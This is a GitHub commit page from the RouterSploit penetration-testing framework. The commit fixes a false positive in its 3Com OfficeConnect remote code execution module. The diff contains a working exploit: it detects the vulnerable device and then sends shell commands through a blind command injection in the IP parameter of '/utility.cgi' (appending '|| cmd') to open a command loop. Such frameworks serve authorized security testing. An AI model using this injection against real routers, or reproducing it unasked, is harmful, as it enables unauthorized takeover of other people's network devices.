Skip to content

Commit

Permalink
Fixing false positive - 3com officeconnect rce (threat9#511)
Browse files Browse the repository at this point in the history
  • Loading branch information
lucyoa authored Sep 9, 2018
1 parent 4e7c7ec commit 9c0dbff
Showing 1 changed file with 22 additions and 24 deletions.
46 changes: 22 additions & 24 deletions routersploit/modules/exploits/routers/3com/officeconnect_rce.py
Original file line number Diff line number Diff line change
Expand Up @@ -23,13 +23,28 @@ class Exploit(HTTPClient):
port = OptPort(80, "Target HTTP port")

def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available")
shell(self, architecture="mipsbe")
response1 = self.http_request(
method="GET",
path="/utility.cgi?testType=1&IP=aaa",
)

if response1 and response1.status_code == 200:
path = "/{}.cgi".format(utils.random_text(32))

response2 = self.http_request(
method="GET",
path=path,
)

if not response2 or response1.text != response2.text:
print_success("Target appears to be vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available")
shell(self, architecture="mipsbe")
else:
print_error("Exploit failed - target does not seem to be vulnerable")
else:
print_error("Target is not vulnerable")
print_error("Exploit failed - target does not seem to be vulnerable")

def execute(self, cmd):
path = "/utility.cgi?testType=1&IP=aaa || {}".format(cmd)
Expand All @@ -42,21 +57,4 @@ def execute(self, cmd):

@mute
def check(self):
response1 = self.http_request(
method="GET",
path="/utility.cgi?testType=1&IP=aaa",
)
if response1 is None:
return False # target is not vulnerable

if response1.status_code == 200:
path = "/{}.cgi".format(utils.random_text(32))

response2 = self.http_request(
method="GET",
path=path,
)
if response2 is None or response1.text != response2.text:
return True # target is vulnerable

return False # target is not vulnerable
return None # there is no reliable way to check if target is vulnerable

0 comments on commit 9c0dbff

Please sign in to comment.